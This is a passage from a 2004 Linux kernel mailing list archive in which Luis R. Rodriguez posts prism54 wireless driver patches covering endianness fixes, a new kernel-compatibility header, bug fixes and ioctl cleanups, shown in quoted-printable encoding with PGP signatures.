/var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.33 2004/03/19 2= 3:03:58 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.35 2004/03/20 1= 6:58:36 mcgrof Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2004 Aurelien Alleaume @@ -26,6 +26,7 @@ #include #include =20 +#include "prismcompat.h" #include "isl_38xx.h" #include "islpci_eth.h" #include "islpci_mgt.h" @@ -261,9 +262,9 @@ if (priv->ndev->type =3D=3D ARPHRD_IEEE80211_PRISM) { struct avs_80211_1_header *avs; /* extract the relevant data from the header */ - u32 clock =3D hdr->clock; + u32 clock =3D le32_to_cpu(hdr->clock); u8 rate =3D hdr->rate; - u16 freq =3D be16_to_cpu(hdr->freq); + u16 freq =3D le16_to_cpu(hdr->freq); u8 rssi =3D hdr->rssi; =20 skb_pull(*skb, sizeof (struct rfmon_header)); @@ -286,21 +287,21 @@ (struct avs_80211_1_header *) skb_push(*skb, sizeof (struct avs_80211_1_header)); - - avs->version =3D htonl(P80211CAPTURE_VERSION); - avs->length =3D htonl(sizeof (struct avs_80211_1_header)); - avs->mactime =3D __cpu_to_be64(clock); - avs->hosttime =3D __cpu_to_be64(jiffies); - avs->phytype =3D htonl(6); /*OFDM: 6 for (g), 8 for (a) */ - avs->channel =3D htonl(channel_of_freq(freq)); - avs->datarate =3D htonl(rate * 5); - avs->antenna =3D htonl(0); /*unknown */ - avs->priority =3D htonl(0); /*unknown */ - avs->ssi_type =3D htonl(2); /*2: dBm, 3: raw RSSI */ - avs->ssi_signal =3D htonl(rssi); - avs->ssi_noise =3D htonl(priv->local_iwstatistics.qual.noise); /*better = than 'undefined', I assume */ - avs->preamble =3D htonl(0); /*unknown */ - avs->encoding =3D htonl(0); /*unknown */ + =09 + avs->version =3D cpu_to_be32(P80211CAPTURE_VERSION); + avs->length =3D cpu_to_be32(sizeof (struct avs_80211_1_header)); + avs->mactime =3D cpu_to_be64(le64_to_cpu(clock)); + avs->hosttime =3D cpu_to_be64(jiffies); + avs->phytype =3D cpu_to_be32(6); /*OFDM: 6 for (g), 8 for (a) */ + avs->channel =3D cpu_to_be32(channel_of_freq(freq)); + avs->datarate =3D cpu_to_be32(rate * 5); + avs->antenna =3D cpu_to_be32(0); /*unknown */ + avs->priority =3D cpu_to_be32(0); /*unknown */ + avs->ssi_type =3D cpu_to_be32(3); /*2: dBm, 3: raw RSSI */ + avs->ssi_signal =3D cpu_to_be32(rssi & 0x7f); + avs->ssi_noise =3D cpu_to_be32(priv->local_iwstatistics.qual.noise); /*b= etter than 'undefined', I assume */ + avs->preamble =3D cpu_to_be32(0); /*unknown */ + avs->encoding =3D cpu_to_be32(0); /*unknown */ } else skb_pull(*skb, sizeof (struct rfmon_header)); =20 Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_hotplug.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_hotplug.c,v retrieving revision 1.58 retrieving revision 1.59 diff -u -r1.58 -r1.59 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_hotplug.c 18 Mar 20= 04 05:25:24 -0000 1.58 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_hotplug.c 20 Mar 20= 04 16:58:36 -0000 1.59 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_hotplug.c,v 1.56 2004/02/= 26 23:33:02 mcgrof Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_hotplug.c,v 1.59 2004/03/= 20 16:58:36 mcgrof Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2003 Herbert Valerio Riedel @@ -24,6 +24,7 @@ #include #include /* For __init, __exit */ =20 +#include "prismcompat.h" #include "islpci_dev.h" #include "islpci_mgt.h" /* for pc_debug */ #include "isl_oid.h" Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.c,v retrieving revision 1.42 retrieving revision 1.43 diff -u -r1.42 -r1.43 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.c 18 Mar 2004 0= 5:25:24 -0000 1.42 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.c 20 Mar 2004 1= 6:58:37 -0000 1.43 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.c,v 1.40 2004/02/01 1= 0:57:23 mcgrof Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.c,v 1.43 2004/03/20 1= 6:58:37 mcgrof Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright 2004 Jens Maurer @@ -22,12 +22,12 @@ #include #include #include -#include =20 #include #include #include =20 +#include "prismcompat.h" #include "isl_38xx.h" #include "islpci_mgt.h" #include "isl_oid.h" /* additional types and defs for isl38xx fw */ @@ -456,21 +456,11 @@ const long wait_cycle_jiffies =3D (ISL38XX_WAIT_CYCLE * 10 * HZ) / 1000; long timeout_left =3D ISL38XX_MAX_WAIT_CYCLES * wait_cycle_jiffies; int err; -#if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,0) - DEFINE_WAIT(wait); -#else - DECLARE_WAITQUEUE(wait, current); -#endif =20 if (down_interruptible(&priv->mgmt_sem)) return -ERESTARTSYS; =20 -#if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,0) - prepare_to_wait(&priv->mgmt_wqueue, &wait, TASK_UNINTERRUPTIBLE); -#else - set_current_state(TASK_UNINTERRUPTIBLE); - add_wait_queue(&priv->mgmt_wqueue, &wait); -#endif + PRISM_DEFWAITQ(priv->mgmt_wqueue, wait); err =3D islpci_mgt_transmit(ndev, operation, oid, senddata, sendlen); if(err) goto out; @@ -499,12 +489,7 @@ =20 /* TODO: we should reset the device here */ =20 out: -#if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,0) - finish_wait(&priv->mgmt_wqueue, &wait); -#else - remove_wait_queue(&priv->mgmt_wqueue, &wait); - set_current_state(TASK_RUNNING); -#endif + PRISM_ENDWAITQ(priv->mgmt_wqueue, wait); up(&priv->mgmt_sem); return err; } Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.h,v retrieving revision 1.24 retrieving revision 1.25 diff -u -r1.24 -r1.25 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.h 18 Mar 2004 0= 5:25:24 -0000 1.24 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.h 20 Mar 2004 1= 6:58:37 -0000 1.25 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.h,v 1.22 2004/01/30 1= 6:24:00 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.h,v 1.25 2004/03/20 1= 6:58:37 mcgrof Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2003 Luis R. Rodriguez @@ -24,15 +24,6 @@ #include #include =20 -#if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,41) -# include -#else -# include -# define work_struct tq_struct -# define INIT_WORK INIT_TQUEUE -# define schedule_work schedule_task -#endif - /* * Function definitions */ Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/oid_mgt.c,v retrieving revision 1.11 retrieving revision 1.12 diff -u -r1.11 -r1.12 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c 19 Mar 2004 23:0= 3:58 -0000 1.11 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c 20 Mar 2004 16:5= 8:37 -0000 1.12 @@ -16,6 +16,7 @@ * */ =20 +#include "prismcompat.h" #include "islpci_dev.h" #include "islpci_mgt.h" #include "isl_oid.h" Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: ksrc/prismcompat.h diff -N ksrc/prismcompat.h --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat.h 20 Mar 2004 = 18:23:28 -0000 1.1 @@ -0,0 +1,47 @@ +/* =20 + * (C) 2004 Margit Schubert-While + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 = USA + * + */ + +/* =20 + * Compatibility header file to aid support of different kernel versions + */ + +#ifndef _PRISM_COMPAT_H +#define _PRISM_COMPAT_H + +#include +#include +#include +#include +#include + +#if !defined(CONFIG_FW_LOADER) && !defined(CONFIG_FW_LOADER_MODULE) +#error Firmware Loading is not configured in the kernel ! +#endif + +#define prism54_synchronize_irq(irq) synchronize_irq(irq) + +#define PRISM_DEFWAITQ(x, y) DEFINE_WAIT(y); \ + prepare_to_wait(&(x), &(y), TASK_UNINTERRUPTIBLE) + +#define PRISM_ENDWAITQ(x, y) finish_wait(&(x), &(y)) + +#define _REQ_FW_DEV_T struct device * + +#define PRISM_FW_PDEV &priv->pdev->dev + +#endif /* _PRISM_COMPAT_H */ Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat24.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: ksrc/prismcompat24.h diff -N ksrc/prismcompat24.h --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat24.h 20 Mar 200= 4 18:23:28 -0000 1.1 @@ -0,0 +1,64 @@ +/* =20 + * (C) 2004 Margit Schubert-While + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 = USA + * + */ + +/* =20 + * Compatibility header file to aid support of different kernel versions + */ + +#ifndef _PRISM_COMPAT_H +#define _PRISM_COMPAT_H + +#include +#include +#include + +#define work_struct tq_struct +#define INIT_WORK INIT_TQUEUE +#define schedule_work schedule_task + +#define irqreturn_t void +#define IRQ_HANDLED +#define IRQ_NONE + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,4,23) +#define free_netdev(x) kfree(x) +#define pci_name(x) x->slot_name +#endif + +#define module_param(x, y, z) MODULE_PARM(x, "i") + +#define netdev_priv(x) x->priv + +#if !defined(CONFIG_FW_LOADER) && !defined(CONFIG_FW_LOADER_MODULE) +#error Firmware Loading is not configured in the kernel ! +#endif + +#define prism54_synchronize_irq(irq) synchronize_irq() + +#define PRISM_DEFWAITQ(x, y) DECLARE_WAITQUEUE(y, current); \ + set_current_state(TASK_UNINTERRUPTIBLE); \ + add_wait_queue(&(x), &(y)) + +#define PRISM_ENDWAITQ(x, y) remove_wait_queue(&(x), &(y)); \ + set_current_state(TASK_RUNNING) + +#define _REQ_FW_DEV_T char * + +#define PRISM_FW_PDEV pci_name(priv->pdev) + +#endif /* _PRISM_COMPAT_H */ --SqJDPA0lBYgnDFWV-- --jmkJtp15SxLq1SbD Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbMUat1JN+IKUl4RAvGmAKClHLqpxB2DXcCeY9Q5dW28ng1a1QCgpjhY nh+uyKNVEFI8KHxLR7W3mnk= =NEcy -----END PGP SIGNATURE----- --jmkJtp15SxLq1SbD-- From mcgrof@studorgs.rutgers.edu Mon May 24 01:33:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:34:26 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8XFKO013612 for ; Mon, 24 May 2004 01:33:15 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 29DF1F9D54; Mon, 24 May 2004 04:33:15 -0400 (EDT) Date: Mon, 24 May 2004 04:33:15 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 8/14 linux-2.6.7-rc1] prism54: Fix prism54.org bugs 39, 73 Message-ID: <20040524083315.GI3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="U/fW6JBK3GqE0Htg" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5269 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --U/fW6JBK3GqE0Htg Content-Type: multipart/mixed; boundary="owpTafYe/1tj88Rh" Content-Disposition: inline --owpTafYe/1tj88Rh Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 2004-04-07 Margit Schubert-While * Bugs 39 and 73 --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --owpTafYe/1tj88Rh Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="08-fix_bug_39_73.patch" Content-Transfer-Encoding: quoted-printable 2004-04-07 Margit Schubert-While * Bugs 39 and 73 Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v retrieving revision 1.73 retrieving revision 1.74 diff -u -r1.73 -r1.74 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 20 Mar 2004 1= 6:58:36 -0000 1.73 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 7 Apr 2004 04= :12:12 -0000 1.74 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.73 2004/03/20 1= 6:58:36 mcgrof Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.74 2004/04/07 0= 4:12:12 msw Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2003 Herbert Valerio Riedel @@ -425,9 +425,9 @@ /* reset the mgmt receive queue */ for (counter =3D 0; counter < ISL38XX_CB_MGMT_QSIZE; counter++) { isl38xx_fragment *frag =3D &cb->rx_data_mgmt[counter]; - frag->size =3D MGMT_FRAME_SIZE; + frag->size =3D cpu_to_le16(MGMT_FRAME_SIZE); frag->flags =3D 0; - frag->address =3D priv->mgmt_rx[counter].pci_addr; + frag->address =3D cpu_to_le32(priv->mgmt_rx[counter].pci_addr); } =20 for (counter =3D 0; counter < ISL38XX_CB_RX_QSIZE; counter++) { --owpTafYe/1tj88Rh-- --U/fW6JBK3GqE0Htg Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbNLat1JN+IKUl4RAmUqAJ45rKRhks2oZO8QMCWlizh+U6oiuwCePKrt rDWXKz8QrFGiw2X+Dvn6Iic= =O8Mi -----END PGP SIGNATURE----- --U/fW6JBK3GqE0Htg-- From mcgrof@studorgs.rutgers.edu Mon May 24 01:33:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:34:03 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8XNKO013648 for ; Mon, 24 May 2004 01:33:23 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id A3B19F9D55; Mon, 24 May 2004 04:33:22 -0400 (EDT) Date: Mon, 24 May 2004 04:33:22 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 9/14 linux-2.6.7-rc1] prism54: Fix prism54.org bug 77; strengthened oid transaction Message-ID: <20040524083322.GJ3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="ibhTSt8h7StI2D+z" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5266 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --ibhTSt8h7StI2D+z Content-Type: multipart/mixed; boundary="lh55S0yADJsuIVGW" Content-Disposition: inline --lh55S0yADJsuIVGW Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 2004-04-09 Aurelien Alleaume * oid_mgt.c, isl_ioctl.c : Cleanups. Bug #77. Minor stuffs. * islpci_mgt.c (islpci_mgt_transaction) : enforce serialization=20 in oid transaction. lindent.sh. * islpci_mgt.c (islpci_mgt_transaction) : Strengthened oid transaction. --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --lh55S0yADJsuIVGW Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="09-fix-bug-77-enforce-serialization.patch" Content-Transfer-Encoding: quoted-printable 2004-04-09 Aurelien Alleaume * oid_mgt.c, isl_ioctl.c : Cleanups. Bug #77. Minor stuffs.=20 * islpci_mgt.c (islpci_mgt_transaction) : enforce serialization in oid transaction. lindent.sh.=20 =09 * islpci_mgt.c (islpci_mgt_transaction) : Strengthened oid transaction. Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v retrieving revision 1.150 retrieving revision 1.151 diff -u -r1.150 -r1.151 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 22 Mar 2004 11= :21:22 -0000 1.150 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 9 Apr 2004 11:= 42:25 -0000 1.151 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.150 2004/03/22 1= 1:21:22 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.151 2004/04/09 1= 1:42:25 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * (C) 2003,2004 Aurelien Alleaume @@ -204,7 +204,7 @@ =20 /* Noise floor. * I'm not sure if the unit is dBm. - * Note : If we are not connected, this value seems to be irrevelant. */ + * Note : If we are not connected, this value seems to be irrelevant. */ =20 mgt_get_request(priv, DOT11_OID_NOISEFLOOR, 0, NULL, &r); priv->local_iwstatistics.qual.noise =3D r.u; @@ -216,8 +216,7 @@ data =3D r.ptr; =20 /* copy this MAC to the bss */ - for (j =3D 0; j < 6; j++) - bss.address[j] =3D data[j]; + memcpy(bss.address, data, 6); kfree(data); =20 /* now ask for the corresponding bss */ @@ -505,7 +504,7 @@ return 0; =20 /* Request the device for the supported frequencies - * not really revelant since some devices will report the 5 GHz band + * not really relevant since some devices will report the 5 GHz band * frequencies even if they don't support them. */ rvalue =3D @@ -515,21 +514,12 @@ range->num_channels =3D freq->nr; range->num_frequency =3D freq->nr; =20 - /* Frequencies are not listed in the right order. The reordering is proba= bly - * firmware dependant and thus should work for everyone. - */ m =3D min(IW_MAX_FREQUENCIES, (int) freq->nr); - for (i =3D 0; i < m - 12; i++) { - range->freq[i].m =3D freq->mhz[12 + i]; - range->freq[i].e =3D 6; - range->freq[i].i =3D i + 1; - } - for (i =3D m - 12; i < m; i++) { - range->freq[i].m =3D freq->mhz[i - m + 12]; + for (i =3D 0; i < m; i++) { + range->freq[i].m =3D freq->mhz[i]; range->freq[i].e =3D 6; - range->freq[i].i =3D i + 23; + range->freq[i].i =3D channel_of_freq(freq->mhz[i]); } - kfree(freq); =20 rvalue |=3D mgt_get_request(priv, DOT11_OID_SUPPORTEDRATES, 0, NULL, &r); @@ -1967,60 +1957,6 @@ } =20 int -prism54_set_maxframeburst(struct net_device *ndev, struct iw_request_info = *info, - __u32 * uwrq, char *extra) -{ - islpci_private *priv =3D netdev_priv(ndev); - u32 max_burst; - - max_burst =3D (*uwrq) ? *uwrq : CARD_DEFAULT_MAXFRAMEBURST; - mgt_set_request(priv, DOT11_OID_MAXFRAMEBURST, 0, &max_burst); - - return -EINPROGRESS; /* Call commit handler */ -} - -int -prism54_get_maxframeburst(struct net_device *ndev, struct iw_request_info = *info, - __u32 * uwrq, char *extra) -{ - islpci_private *priv =3D netdev_priv(ndev); - union oid_res_t r; - int rvalue; - - rvalue =3D mgt_get_request(priv, DOT11_OID_MAXFRAMEBURST, 0, NULL, &r); - *uwrq =3D r.u; - - return rvalue; -} - -int -prism54_set_profile(struct net_device *ndev, struct iw_request_info *info, - __u32 * uwrq, char *extra) -{ - islpci_private *priv =3D netdev_priv(ndev); - u32 profile; - - profile =3D (*uwrq) ? *uwrq : CARD_DEFAULT_PROFILE; - mgt_set_request(priv, DOT11_OID_PROFILES, 0, &profile); - - return -EINPROGRESS; /* Call commit handler */ -} - -int -prism54_get_profile(struct net_device *ndev, struct iw_request_info *info, - __u32 * uwrq, char *extra) -{ - islpci_private *priv =3D netdev_priv(ndev); - union oid_res_t r; - int rvalue; - - rvalue =3D mgt_get_request(priv, DOT11_OID_PROFILES, 0, NULL, &r); - *uwrq =3D r.u; - - return rvalue; -} - -int prism54_debug_oid(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { @@ -2099,7 +2035,7 @@ } } =20 - return ret; + return (ret ? ret : -EINPROGRESS); } =20 static int @@ -2205,16 +2141,16 @@ #define PRISM54_GET_PRISMHDR SIOCIWFIRSTPRIV+23 #define PRISM54_SET_PRISMHDR SIOCIWFIRSTPRIV+24 =20 -#define IWPRIV_SET_U32(n,x) { n, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1= , 0, "set_"x } -#define IWPRIV_SET_SSID(n,x) { n, IW_PRIV_TYPE_CHAR | IW_PRIV_SIZE_FIXED |= 1, 0, "set_"x } -#define IWPRIV_SET_ADDR(n,x) { n, IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED |= 1, 0, "set_"x } -#define IWPRIV_GET(n,x) { n, 0, IW_PRIV_TYPE_CHAR | IW_PRIV_SIZE_FIXED | P= RIV_STR_SIZE, "get_"x } +#define IWPRIV_SET_U32(n,x) { n, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1= , 0, "s_"x } +#define IWPRIV_SET_SSID(n,x) { n, IW_PRIV_TYPE_CHAR | IW_PRIV_SIZE_FIXED |= 1, 0, "s_"x } +#define IWPRIV_SET_ADDR(n,x) { n, IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED |= 1, 0, "s_"x } +#define IWPRIV_GET(n,x) { n, 0, IW_PRIV_TYPE_CHAR | IW_PRIV_SIZE_FIXED | P= RIV_STR_SIZE, "g_"x } =20 #define IWPRIV_U32(n,x) IWPRIV_SET_U32(n,x), IWPRIV_GET(n,x) #define IWPRIV_SSID(n,x) IWPRIV_SET_SSID(n,x), IWPRIV_GET(n,x) #define IWPRIV_ADDR(n,x) IWPRIV_SET_ADDR(n,x), IWPRIV_GET(n,x) =20 -/* Note : limited to 128 private ioctls */ +/* Note : limited to 128 private ioctls (wireless tools 26) */ =20 static const struct iw_priv_args prism54_private_args[] =3D { /*{ cmd, set_args, get_args, name } */ @@ -2352,5 +2288,6 @@ int prism54_ioctl(struct net_device *ndev, struct ifreq *rq, int cmd) { + return -EOPNOTSUPP; } Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.c,v retrieving revision 1.43 retrieving revision 1.44 diff -u -r1.43 -r1.44 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.c 20 Mar 2004 1= 6:58:37 -0000 1.43 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.c 9 Apr 2004 11= :42:25 -0000 1.44 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.c,v 1.43 2004/03/20 1= 6:58:37 mcgrof Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.c,v 1.44 2004/04/09 1= 1:42:25 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright 2004 Jens Maurer @@ -63,7 +63,6 @@ Queue handling for management frames **************************************************************************= ****/ =20 - =20 /* * Helper function to create a PIMFOR management frame header. */ @@ -86,8 +85,8 @@ { pimfor_header_t *h =3D data; =20 - while ((void *) h < data + len) { - if(h->flags & 